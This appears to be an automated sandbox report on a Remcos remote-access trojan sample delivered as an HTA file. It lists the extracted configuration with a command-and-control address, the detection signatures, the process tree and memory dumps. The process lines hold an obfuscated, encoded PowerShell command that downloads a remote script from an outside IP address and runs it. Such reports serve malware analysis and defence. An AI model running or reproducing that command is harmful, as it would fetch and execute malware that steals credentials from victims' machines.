Analysis
- max time kernel
150s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
11/11/2026, 14:22
General
- Target swissnet.hta
- Size 15KB
- Sample261111-rpmmlaaa39
- SHA256 605efa221edac80f0c08c5688591505f1250c458d5ede95306eec7f25010b43b
Malware Config
Extracted
-
remcos
-
7.3.1 Pro
-
promax
-
45.141.148.72:14560
-
audio_folder
MicRecords
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audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-4XUSYF
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- ConfuserEx .NET packer 1 IoCs
Detects ConfuserEx .NET packer.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 29 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\swissnet.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/c poWERsHElL.EXe -ex bYpaSs -NoP -W 1 -EC IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAGcAZQBUACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gaAB0AHQAcAA6AC8ALwAyADAANAAuADQANAAuADkAMwAuADgAMQAvADEANQAvAHMAZQBjAHUAcgBlAGQAXwBzAHQAdQBiAC4AcABzADEAHSAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAtAG8AdQB0AGYAaQBsAGUAIAAgACAACQAJACAACQAJACAAIAAgACAAIAAJAB0gJABlAE4AdgA6AFAAdQBiAEwASQBjAFwAaQBwAGEAZABzAC4AcABzADEAHSAgAAkACQAgAAkAIAAgAAkACQAgAAkAIAAJACAAIAAJAAkAIAAJAAkAIAA7ACAAIAAgACAAIAAmACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAE4AdgA6AFAAdQBCAEwAaQBjAFwAaQBwAGEAZABzAC4AcABzADEAHSA= "2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepoWERsHElL.EXe -ex bYpaSs -NoP -W 1 -EC IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAGcAZQBUACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gaAB0AHQAcAA6AC8ALwAyADAANAAuADQANAAuADkAMwAuADgAMQAvADEANQAvAHMAZQBjAHUAcgBlAGQAXwBzAHQAdQBiAC4AcABzADEAHSAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAtAG8AdQB0AGYAaQBsAGUAIAAgACAACQAJACAACQAJACAAIAAgACAAIAAJAB0gJABlAE4AdgA6AFAAdQBiAEwASQBjAFwAaQBwAGEAZABzAC4AcABzADEAHSAgAAkACQAgAAkAIAAgAAkACQAgAAkAIAAJACAAIAAJAAkAIAAJAAkAIAA7ACAAIAAgACAAIAAmACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAE4AdgA6AFAAdQBCAEwAaQBjAFwAaQBwAGEAZABzAC4AcABzADEAHSA= "3⤵
- Badlisted process makes network request
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
Login Data For Account.tmp
memory/1556-47-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-50-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-59-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-58-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-57-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-56-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-55-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-54-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-53-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-52-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-51-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-36-0x0000000010000000-0x00000000100F7000-memory.dmp
memory/1556-27-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-49-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-39-0x0000000010000000-0x00000000100F7000-memory.dmp
memory/1556-40-0x0000000010000000-0x00000000100F7000-memory.dmp
memory/1556-29-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-34-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-33-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-35-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-32-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-31-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-30-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1556-28-0x0000000000400000-0x0000000000490000-memory.dmp
memory/3392-15-0x0000000074750000-0x0000000074F0C000-memory.dmp
memory/3392-2-0x0000000074750000-0x0000000074F0C000-memory.dmp
memory/3392-26-0x00000000077A0000-0x00000000077A6000-memory.dmp
memory/3392-25-0x0000000007790000-0x00000000077A4000-memory.dmp
memory/3392-24-0x000000000F6A0000-0x000000000FC5A000-memory.dmp
memory/3392-23-0x00000000077F0000-0x0000000007812000-memory.dmp
memory/3392-22-0x0000000007890000-0x0000000007926000-memory.dmp
memory/3392-21-0x0000000074750000-0x0000000074F0C000-memory.dmp
memory/3392-18-0x0000000074750000-0x0000000074F0C000-memory.dmp
memory/3392-17-0x0000000074750000-0x0000000074F0C000-memory.dmp
memory/3392-1-0x0000000002C40000-0x0000000002C76000-memory.dmp
memory/3392-0-0x0000000074762000-0x0000000074763000-memory.dmp
memory/3392-16-0x0000000074762000-0x0000000074763000-memory.dmp
memory/3392-14-0x0000000006650000-0x000000000666A000-memory.dmp
memory/3392-13-0x0000000007A60000-0x00000000080DC000-memory.dmp
memory/3392-12-0x0000000006160000-0x00000000061AC000-memory.dmp
memory/3392-11-0x0000000006120000-0x000000000613E000-memory.dmp
memory/3392-10-0x0000000005C80000-0x0000000005FDB000-memory.dmp
memory/3392-7-0x0000000005BC0000-0x0000000005C26000-memory.dmp
memory/3392-6-0x0000000005B50000-0x0000000005BB6000-memory.dmp
memory/3392-5-0x0000000005360000-0x0000000005382000-memory.dmp
memory/3392-4-0x0000000074750000-0x0000000074F0C000-memory.dmp
memory/3392-3-0x00000000053D0000-0x0000000005A1A000-memory.dmp